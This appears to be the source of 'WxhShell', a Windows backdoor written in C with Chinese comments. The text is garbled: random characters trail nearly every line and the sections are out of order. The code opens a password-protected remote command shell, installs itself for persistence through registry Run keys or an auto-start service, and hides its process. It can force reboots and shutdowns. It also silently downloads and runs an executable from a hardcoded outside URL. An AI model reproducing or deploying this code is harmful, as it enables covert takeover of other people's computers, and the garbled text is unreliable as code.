    else { *}\!&Zk"  
    closesocket(wsh); [lsr[`SJ<  
    ExitThread(0); By 8C-jD  
    } ^L;`F  
    break; yp=2nU"o  
    } MOFIR wVZ+  
  // 获取shell he/UvMu  
  case 's': { bYEq`kjzc  
    CmdShell(wsh); }cll? 2  
    closesocket(wsh); PF1m :Iz`d  
    ExitThread(0); {}ZQK  
    break; m.MOn3n]  
  } X }yEMe{T  
  // 退出 I hvL2 zB  
  case 'x': { =^P<D&%q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); j`\}xDg  
    CloseIt(wsh); D'>yu"  
    break; 1(Kd/%]{  
    } u8*Uia*vwH  
  // 离开 AG#5_0]P~  
  case 'q': { =S-'*F  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5vL]Y)l  
    closesocket(wsh); IiACr@[?e  
    WSACleanup(); Rp)82- .  
    exit(1); bf `4GD(  
    break; _?3bBBy  
        } bgd1j,PWbW  
  } B_[^<2_  
  } 'Z-jj2t}  
G1Cn[F;e  
  // 提示信息 }0T1* .Cz  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8KD7t&H  
} +gTnq")wnI  
  } c8gdY`  
//W<\  
  return; (i7]N[  
} 0 )#5_-%  
itM6S$  
// shell模块句柄 [t /hjm"$  
int CmdShell(SOCKET sock) Ku_`F2Q  
{ 77OH.E|$  
STARTUPINFO si; ]OHzE]Q  
ZeroMemory(&si,sizeof(si)); !h2ZrT9 _  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #zXkg[J6d  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vcAs!ls+  
PROCESS_INFORMATION ProcessInfo; k@AOE0m  
char cmdline[]="cmd"; R\+p`n$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Nl7"|()e  
  return 0; Fk>/  
} K.] *:fd  
O~B iqm  
// 自身启动模式 8@qYzSx[  
int StartFromService(void) 'u$$scGt  
{ l?B\TA^  
typedef struct lC.Yu$O5  
{ @Q3aJ98)2  
  DWORD ExitStatus; g^1M]1.f  
  DWORD PebBaseAddress; j ij:}.d6  
  DWORD AffinityMask; =_8  
  DWORD BasePriority; KLs%{'[7:  
  ULONG UniqueProcessId; VZJs@qx:Z  
  ULONG InheritedFromUniqueProcessId; |J2R w f  
}   PROCESS_BASIC_INFORMATION; (hVhzw"~  
@q2Yka  
PROCNTQSIP NtQueryInformationProcess; :h N*  
?DkMzR)u  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xF5q=%n  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R1X9  
Jk|c!,!  
  HANDLE             hProcess; DVRE;+Jt  
  PROCESS_BASIC_INFORMATION pbi; m"~$JA u  
[z`U 9J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _5.^A&Y*  
  if(NULL == hInst ) return 0; 5FnWlFc  
z:|4S@9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .wx; !9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zO2Z\E'% .  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v?)JM+  
bQb> S<PT  
  if (!NtQueryInformationProcess) return 0; |Z$heYP:w  
"a;JQ:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k#ED#']N  
  if(!hProcess) return 0; 9~<HTH  
d> `9!)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?I`']|I  
kh 1 7  
  CloseHandle(hProcess); ~ DVAk|fc  
g% #" 5Kr  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !SD?  
if(hProcess==NULL) return 0; Ezm ~SY  
.ev'd&l.  
HMODULE hMod; ^$24231^  
char procName[255]; ' V;cA$ $  
unsigned long cbNeeded; H6x~mZu_:T  
@X"p"3V  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); a84^"GH7  
`pE~M05  
  CloseHandle(hProcess); %.BbPR7?h  
a{QHv0goG  
if(strstr(procName,"services")) return 1; // 以服务启动 r@H<@Vuc  
^~0\d;l_  
  return 0; // 注册表启动 {$HW_\w  
} &|IY=$-  
^{_`jE  
// 主模块 9@#Z6[=R,  
int StartWxhshell(LPSTR lpCmdLine) u}JL*}Q  
{ *]p]mzc  
  SOCKET wsl; C 6ZM#}I$l  
BOOL val=TRUE; T#Qn\ 8  
  int port=0; { o=4(RC  
  struct sockaddr_in door; I`}-*% ki(  
$xyG0Q.  
  if(wscfg.ws_autoins) Install(); c</d1xT  
OnC|9  
port=atoi(lpCmdLine); ]ZelB,7q  
_0 USe  
if(port<=0) port=wscfg.ws_port; (01M0b#  
~C{d2i  
  WSADATA data; ~#&bDot  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H ZIJKk(  
3lqR(Hh3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   V{O,O,*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .%h.b6^  
  door.sin_family = AF_INET; B9/x?Jv1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); '%yWz)P  
  door.sin_port = htons(port); s@E "EWp0  
X5cl'J(j9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bBc<yaN  
closesocket(wsl); wLPL 9  
return 1; F"#bCnS  
} fKf5i@CvB@  
G\?fWqx  
  if(listen(wsl,2) == INVALID_SOCKET) {  Y5 $5qQ  
closesocket(wsl); j08}5Eo  
return 1; 0"(5\T  
} G)';ucs:,  
  Wxhshell(wsl); KtUI(*$`  
  WSACleanup(); YBN@{P$  
  _p\  
return 0; qg vg MWj  
L@2T  
} mEmznA  
:[ m;#b  
// 以NT服务方式启动 iv2did4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wbshKkUh_*  
{ SEq_37  
DWORD   status = 0; a?.hvI   
  DWORD   specificError = 0xfffffff; mVg-z~44T  
^]3Y11sI  
  serviceStatus.dwServiceType     = SERVICE_WIN32; o"->RC  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; H-~V:OCB~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A,{X<mLFb  
  serviceStatus.dwWin32ExitCode     = 0; INOw0E[  
  serviceStatus.dwServiceSpecificExitCode = 0; WLd{+y5#  
  serviceStatus.dwCheckPoint       = 0; ,di'279|  
  serviceStatus.dwWaitHint       = 0; 0'wB':v  
Mdsn"Y V  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r5h}o)J  
  if (hServiceStatusHandle==0) return; -@X?~4Idz  
7"Sw))H|  
status = GetLastError(); oA%8k51>~K  
  if (status!=NO_ERROR) ATp7:Q  
{ M>VT$!Lx  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Lg0Vn&k  
    serviceStatus.dwCheckPoint       = 0; n#[-1 (P  
    serviceStatus.dwWaitHint       = 0; i\lur ET  
    serviceStatus.dwWin32ExitCode     = status; uo;aC$US  
    serviceStatus.dwServiceSpecificExitCode = specificError; u@tJu'X  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); j}7as&  
    return; i_Dv+^&zV  
  } rxH*h`Xx@  
4bLk+EY4A  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \>0%E{CR  
  serviceStatus.dwCheckPoint       = 0; bCr) 3,  
  serviceStatus.dwWaitHint       = 0; 7cV9xIe^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); YUU|!A8x  
} DG,CL8bv  
?muI8b  
// 处理NT服务事件,比如:启动、停止 H=Rqr  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gKy@$at&  
{ )nmLgsg  
switch(fdwControl) eSo/1D  
{ >=Hm2daN  
case SERVICE_CONTROL_STOP: rqbX9M^  
  serviceStatus.dwWin32ExitCode = 0; VN`T:!&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Y [Jt+p]  
  serviceStatus.dwCheckPoint   = 0;  lc9aDt  
  serviceStatus.dwWaitHint     = 0; UQ6UZd37   
  { Q;{[U!\:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0f~7n*XH  
  } ]vj4E"2;  
  return; vH/<!jtI  
case SERVICE_CONTROL_PAUSE: [SGt ~bRJ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; '{=dEEi  
  break; ^%l~|w  
case SERVICE_CONTROL_CONTINUE: Ah:!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?&#z3c$}  
  break; ;d$PQi  
case SERVICE_CONTROL_INTERROGATE: "8MG[$Y  
  break; (O{5L(  
}; W/_=S+CvK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BzBij^h  
} /N6sH!w  
%zj;~W;qPH  
// 标准应用程序主函数 0sq?;~U  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _=W ^#z  
{ i'&KoR ?  
rmpx8C Y"  
// 获取操作系统版本 |O0=Q,<m  
OsIsNt=GetOsVer(); c@u)m}V  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `H+~LVH  
_22;hnG<iy  
  // 从命令行安装 P<P4*cOV  
  if(strpbrk(lpCmdLine,"iI")) Install(); )zw}+z3st  
B.wihJVDg  
  // 下载执行文件 V_Z~$  
if(wscfg.ws_downexe) { MgJiJ0y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Mda~@)7$  
  WinExec(wscfg.ws_filenam,SW_HIDE); MQ;c'?!5[!  
}  +C3IP  
VB6EM|bphl  
if(!OsIsNt) { 1Xy{&Ut\  
// 如果时win9x,隐藏进程并且设置为注册表启动 Cb}hE ro  
HideProc(); 9^l[d<  
StartWxhshell(lpCmdLine); v_Om3i9$E  
} +zodkB~)  
else s@C KZ`  
  if(StartFromService()) 9L3#aE]C  
  // 以服务方式启动 J }izTI  
  StartServiceCtrlDispatcher(DispatchTable); jU')8m[  
else Dw}8ci'  
  // 普通方式启动 :$Lu V5  
  StartWxhshell(lpCmdLine); _r!''@B  
o6f^DG3*  
return 0; w)I!q&`Y  
} =6j4_+5mnH  
LL,&!KW[S  
s8w7/*<d  
-:9E+b  
=========================================== \(UEjlo  
GCx1lm  
Jp)>Wd  
n]&/?6}  
ow:}NI  
{XYv &K  
" R_4]6{Rm  
kIS&! V  
#include <stdio.h> S0.   
#include <string.h> 4ujw/`:/m  
#include <windows.h> hDc, #~!  
#include <winsock2.h> C~o6]'+F_  
#include <winsvc.h> 0gNwC~IA8  
#include <urlmon.h> I}oxwc  
[\N,ow,n  
#pragma comment (lib, "Ws2_32.lib") b 62 o  
#pragma comment (lib, "urlmon.lib") .<JD'%?"  
j^A0[:2  
#define MAX_USER   100 // 最大客户端连接数 gE8=#%1<  
#define BUF_SOCK   200 // sock buffer S-[]z*  
#define KEY_BUFF   255 // 输入 buffer w <zO  
cy=,Dr9O  
#define REBOOT     0   // 重启 d R2#n  
#define SHUTDOWN   1   // 关机 dtJaQ`  
+gb2>fei&  
#define DEF_PORT   5000 // 监听端口 l'YpSO~l7  
@W3fKF9*R  
#define REG_LEN     16   // 注册表键长度 c_b^t09  
#define SVC_LEN     80   // NT服务名长度 ?8wFT!J  
z,XM|-"#<K  
// 从dll定义API 1G/bqIMg63  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ve>*KHDSt  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); S3nA}1R  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F?2(U\k#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vPuPSE%M  
xM85^B'  
// wxhshell配置信息 = ! D<1<  
struct WSCFG {  8.D$J  
  int ws_port;         // 监听端口 \~ O6S`,  
  char ws_passstr[REG_LEN]; // 口令 2d+IROA  
  int ws_autoins;       // 安装标记, 1=yes 0=no )W9 $_<Z  
  char ws_regname[REG_LEN]; // 注册表键名 r.M8#YL  
  char ws_svcname[REG_LEN]; // 服务名 {UT>> *C  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $?p^ m`t_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 N>;"r]Rl"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $x;wnXXXM  
int ws_downexe;       // 下载执行标记, 1=yes 0=no cad1eOT'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8EZ"z d`n/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >*%ySlZbs  
o?uTL>Zin  
}; ==I:>+_ ^|  
_5#f9,m1  
// default Wxhshell configuration OIB~ W  
struct WSCFG wscfg={DEF_PORT, u{=(] n  
    "xuhuanlingzhe", 0hcrQ^BB!b  
    1, hBDPz1<  
    "Wxhshell", /yn1MW[.  
    "Wxhshell", y6Xfddd61  
            "WxhShell Service", M9*7r\hqYV  
    "Wrsky Windows CmdShell Service", <x DD*u  
    "Please Input Your Password: ", ^.jIus5  
  1, g':mM*j&  
  "http://www.wrsky.com/wxhshell.exe", # 4`*`)%  
  "Wxhshell.exe" 3EB8ls2  
    }; 1R9hA7y&,/  
LoUi Yf  
// 消息定义模块 C)`ZI8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |mV*HdqU  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Sai_rNRWB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `Q6@,-(3  
char *msg_ws_ext="\n\rExit."; HB`u@9le  
char *msg_ws_end="\n\rQuit."; c ;`  
char *msg_ws_boot="\n\rReboot..."; 7 }(LO^,A  
char *msg_ws_poff="\n\rShutdown..."; [>&Nhn0iY  
char *msg_ws_down="\n\rSave to "; '#[U7(lIQ  
A:[La#h|p  
char *msg_ws_err="\n\rErr!"; DIodQkF  
char *msg_ws_ok="\n\rOK!"; iOm1U_S  
ga^O]yK  
char ExeFile[MAX_PATH]; 0iqa]Am  
int nUser = 0; Lhu2;F\/  
HANDLE handles[MAX_USER]; -wlob`3  
int OsIsNt; =UA-&x@  
\tLJ( <8  
SERVICE_STATUS       serviceStatus; @5Q}o3.zA-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; i%>]$*  
/lDW5;d  
// 函数声明 i>r4Rz!  
int Install(void); ^sd+s ~ xx  
int Uninstall(void); NS6Bi3~  
int DownloadFile(char *sURL, SOCKET wsh); zAt!jP0E  
int Boot(int flag); CF>k_\/Bj  
void HideProc(void); S(mJ;C  
int GetOsVer(void); Ta?#o  
int Wxhshell(SOCKET wsl); 5+:b #B  
void TalkWithClient(void *cs); wlBdA  
int CmdShell(SOCKET sock); t`+x5*g W  
int StartFromService(void); gE(QVbh(  
int StartWxhshell(LPSTR lpCmdLine); 2#C!40j&\  
QsI#Ae,O#;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N:[m,U9a  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3Gf^IV-  
A_T-]YQ  
// 数据结构和表定义 zMt"ST.  
SERVICE_TABLE_ENTRY DispatchTable[] = g"( vl-Uw  
{ cH'*J/  
{wscfg.ws_svcname, NTServiceMain}, R+8+L|\wHv  
{NULL, NULL} 8dq{.B?  
}; 01 6l$K4  
/L'm@8  
// 自我安装 ;r>?V2,tm  
int Install(void) %l[Cm4  
{ 1K^blOLXe  
  char svExeFile[MAX_PATH]; A,e/y  
  HKEY key; DSYtj} >  
  strcpy(svExeFile,ExeFile); au}rS0) +  
oP5G*AFUq  
// 如果是win9x系统,修改注册表设为自启动  >>Hsx2M  
if(!OsIsNt) { #*,Jqr2f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \bqNjlu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @JE:\  
  RegCloseKey(key); uNl<= 1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :Y(Yk5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NWNH)O@  
  RegCloseKey(key); +cM;d4  
  return 0; &1893#V  
    } D4G*K*z,w4  
  } &D[dDUdHs  
} KM< +9`  
else { YTQ|Hg6jO  
D; H</5#Q  
// 如果是NT以上系统,安装为系统服务 ^i&/k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); rw8O<No4.o  
if (schSCManager!=0) {o+aEMhM  
{ PV(b J7&R  
  SC_HANDLE schService = CreateService 9fMg?  
  ( jpZX5_o  
  schSCManager, 9z\q_ 0&i  
  wscfg.ws_svcname, !Qjpj KRy  
  wscfg.ws_svcdisp, t #MU2b  
  SERVICE_ALL_ACCESS, c)#b*k,lw<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , HI#}M|4n  
  SERVICE_AUTO_START, 6g29!F`y  
  SERVICE_ERROR_NORMAL,  Us k@{  
  svExeFile, q`E6hm  
  NULL, 0aSN 8  
  NULL, 39S}/S)  
  NULL, c%>t(ce`Tl  
  NULL, h eZJ(mR  
  NULL KCq qwGM  
  ); Lg|j0-"N  
  if (schService!=0) `x~k}  
  { p*_g0_^  
  CloseServiceHandle(schService); HGfYL')Z  
  CloseServiceHandle(schSCManager); +VDwDJ)lG  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); dP T)&  
  strcat(svExeFile,wscfg.ws_svcname); f|WNPFQ$x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'SY jEhvw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); n7 4?W  
  RegCloseKey(key); muT+H(Zp}  
  return 0; jr~ +}|@{  
    } - 4'yp  
  } G~a;q+7v'$  
  CloseServiceHandle(schSCManager); *y5d&4G2  
} 6=Kl[U0Y  
} RZjTUMAz4  
D(Zux8l  
return 1; _D1bR7  
} ,[,+ _A  
yx3M0Qo  
// 自我卸载 g~h`wv'  
int Uninstall(void) '`T.K<  
{ @]6)j&  
  HKEY key; zOLt)2-<  
 3Fo,F  
if(!OsIsNt) { G'MYTq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FlOKTY   
  RegDeleteValue(key,wscfg.ws_regname); 5aL0N  
  RegCloseKey(key); jbpnCUzi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %FT F  
  RegDeleteValue(key,wscfg.ws_regname); tNjb{(eO\h  
  RegCloseKey(key); {G&K_~Vj  
  return 0; Tcz67&c |W  
  } gdSv) (  
} (03m%\  
} "^;'.~@e8  
else { bd_U%0)pi1  
:(} {uG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [ 8N1tZ{`  
if (schSCManager!=0) "}*P9-%  
{  ,@R~y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); m0paGG  
  if (schService!=0) .(VxeF(v_k  
  { 0gm+R3;k^  
  if(DeleteService(schService)!=0) { .MhZ=sn  
  CloseServiceHandle(schService); qeQTW@6 F  
  CloseServiceHandle(schSCManager); <4^ _dJ9=  
  return 0; Cj"k Fq4  
  } #AyM!   
  CloseServiceHandle(schService); @bmu4!"d  
  } {[hV ['Awv  
  CloseServiceHandle(schSCManager); !vr">@}K  
} /(BQzCP9O;  
} V7N8m<Tf  
{{ R/:-6?@  
return 1; *oY59Yf  
} QJTGeJ Y  
NAZxM9  
// 从指定url下载文件 ~/! Zh  
int DownloadFile(char *sURL, SOCKET wsh) wHWd~K_q  
{ 6JmS9ho  
  HRESULT hr; ORs<<H.d  
char seps[]= "/"; P}~6 yX  
char *token; qdCa]n!d  
char *file; Rde#=>@V  
char myURL[MAX_PATH]; IxYuJpi  
char myFILE[MAX_PATH]; 0+P_z(93?  
{K*l,U  
strcpy(myURL,sURL);  ZajQ B  
  token=strtok(myURL,seps); AQ32rJT8c`  
  while(token!=NULL) 1jh^-d5  
  { NVS U)#  
    file=token; )$P!7$C-  
  token=strtok(NULL,seps); (jPN+yQ  
  } LZ|G"5X[  
H_ .@{8I  
GetCurrentDirectory(MAX_PATH,myFILE); 9:!n'mn  
strcat(myFILE, "\\"); (5_l7hWY  
strcat(myFILE, file); uWG'AmK_#E  
  send(wsh,myFILE,strlen(myFILE),0); isj<lnQ  
send(wsh,"...",3,0); NlU:e}zGR  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 16keCG\  
  if(hr==S_OK) r}WV"/]p  
return 0; 8niQG']  
else ;pU9ov4)  
return 1; +&O[}%W  
1mJBxg}(  
} `;(/W h  
s_.q/D@vu  
// 系统电源模块 M98dQ%4I  
int Boot(int flag) [m|\N  
{ rD%(*|Y"c  
  HANDLE hToken; CP7Zin1S/w  
  TOKEN_PRIVILEGES tkp; AXH4jQw  
mz+>rc  
  if(OsIsNt) { xaoaZ3Ko  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A>%fE 6FY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H[*.Jd  
    tkp.PrivilegeCount = 1; . m7iXd{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *Y9"-C+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <gZC78}E  
if(flag==REBOOT) { AQbbIngo  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [ \V]tpl!  
  return 0; .J%}ROm  
} Zr;.`(>  
else { '@AK0No\W  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  3iV/7~ O  
  return 0; W7l/{a @  
} *VIM!/YW  
  } e l'^9K  
  else { 6y%BJU.I  
if(flag==REBOOT) { UI<'T3b  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9C-F%te7  
  return 0; "2'nLQ""q  
} [uc;M6o}?  
else { j &,vju  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) '#4ya=Ww  
  return 0; 0"#tK4  
} >>(2ZJ  
} _Y|k \|'  
4oT2 5VH  
return 1; zXbTpm  
} vo!:uvy;2  
dB<BEe\$g.  
// win9x进程隐藏模块 @-kzSm  
void HideProc(void) iq5h[  
{ +m:U9K(\h  
!b rN)b)f  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =XQ3sk6U  
  if ( hKernel != NULL ) n6O1\}YB  
  { UG Fx  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9D(M>'Bh  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L;,Nh  
    FreeLibrary(hKernel); q0`Vw%  
  } .Ky<9h.K  
fT[6Cw5w`  
return; H^K(1  
} 'RQZU*8  
&I:X[=;g  
// 获取操作系统版本 Gd%6lab  
int GetOsVer(void) D4Uz@2_  
{ ]o6yU#zn~e  
  OSVERSIONINFO winfo; #bsRL8@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); yeE_1C .  
  GetVersionEx(&winfo); OJ@';ZyT=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }s}b]v  
  return 1; Lt@4F   
  else ]=WJ%p1l  
  return 0; KKGAk\X  
}  YDi_Gl$  
oxPOfI1%]  
// 客户端句柄模块 U[U$1LSS  
int Wxhshell(SOCKET wsl) +'uF3- +WY  
{ 6M"J3\ x  
  SOCKET wsh; dvyE._/v  
  struct sockaddr_in client; u\^<V)  
  DWORD myID; [53@'@26  
+]I;C  
  while(nUser<MAX_USER) ujmW {()  
{ ^zs CF0  
  int nSize=sizeof(client); `r_qvrC  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); iBN,YPo~  
  if(wsh==INVALID_SOCKET) return 1; 9^v|~f  
"Z &qOQg%3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^yy\CtG  
if(handles[nUser]==0) O4 \GL  
  closesocket(wsh); |rW}s+Kcr  
else "SLN8x49(  
  nUser++; w]tv<U={  
  } Eqp?cKrji  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); HQt=.#GW  
M (b'4  
  return 0; MukPY2[Am  
} Z>o;Yf[  
|WXu;uf$.u  
// 关闭 socket ~K:#a$!%,  
void CloseIt(SOCKET wsh) C([;JO 11[  
{ *3S,XMS{O  
closesocket(wsh); (G#)[0<fX  
nUser--; pSE"] N  
ExitThread(0); wMt?yc:X  
} Y)c9]1qly  
X]C-y,r[M  
// 客户端请求句柄 kul&m|  
void TalkWithClient(void *cs) ~;UK/OZ  
{ P8DJv-f`  
8@6:UR.)  
  SOCKET wsh=(SOCKET)cs; mEz&:A  
  char pwd[SVC_LEN]; j,6dGb  
  char cmd[KEY_BUFF]; q$:T<mFK$  
char chr[1]; nHD4J;l  
int i,j; F3H)B:  
pA(@gisg  
  while (nUser < MAX_USER) { *Z|!%C  
#OJ^[Zi<  
if(wscfg.ws_passstr) { S$BwOx3QF  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uPRusG4!R  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b]4yFwb  
  //ZeroMemory(pwd,KEY_BUFF); G A2S  
      i=0; egx(N <  
  while(i<SVC_LEN) { e_k1pox]l  
fcnbPO0M  
  // 设置超时 a3R#Bg(  
  fd_set FdRead; u;!CQ w/  
  struct timeval TimeOut; OPwp(b  
  FD_ZERO(&FdRead); z}8rD}BH  
  FD_SET(wsh,&FdRead); G!XizhE  
  TimeOut.tv_sec=8; #jA|04w  
  TimeOut.tv_usec=0; |5e/.T$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -$dnUXFsj[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); RBt"7'  
/}#z/m@bN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ofcoNLX5c  
  pwd=chr[0]; #`y7L4V*o  
  if(chr[0]==0xd || chr[0]==0xa) { 6dC!&leNi  
  pwd=0; 9p2"5x  
  break; ,8+SQo #3  
  } p8Lb*7W  
  i++; )"t=sFxaB  
    } bC?t4-W  
j#-ZL-N  
  // 如果是非法用户,关闭 socket qO&:J\d  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xx!o]D-}  
} d /Zt}{  
0/{-X[z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); aJI>qk h?]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Yfxc$ub  
Mgcq'{[~Y=  
while(1) { k5g\s9n]  
=J0FT2 d  
  ZeroMemory(cmd,KEY_BUFF); D rHMlk5  
)c]GgPH  
      // 自动支持客户端 telnet标准    Gp@Y=mU  
  j=0; 1MfRF v  
  while(j<KEY_BUFF) { P)>WIQSr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "o;l8$)VL  
  cmd[j]=chr[0]; X*$ 7g;  
  if(chr[0]==0xa || chr[0]==0xd) { 2$qeNy  
  cmd[j]=0; Q}\,7l  
  break; HmbTV(lC  
  } G dL\  
  j++; m]7Y )&3  
    } U NQup;#h  
9XobTi3+'  
  // 下载文件 ?D57HCd`n  
  if(strstr(cmd,"http://")) { \m5:~,p=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <C# s0UX  
  if(DownloadFile(cmd,wsh)) 1PLKcU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); lS XhHy  
  else }! zjj\g^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W!XFaA$  
  } +-qD!(&-6  
  else { 0S/&^  
OSfwA&  
    switch(cmd[0]) { Dih~5  
  RM%l hDFY  
  // 帮助 PeT A:MW  
  case '?': { 6Oo'&3@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *J1pxZ^  
    break; *DDfdn  
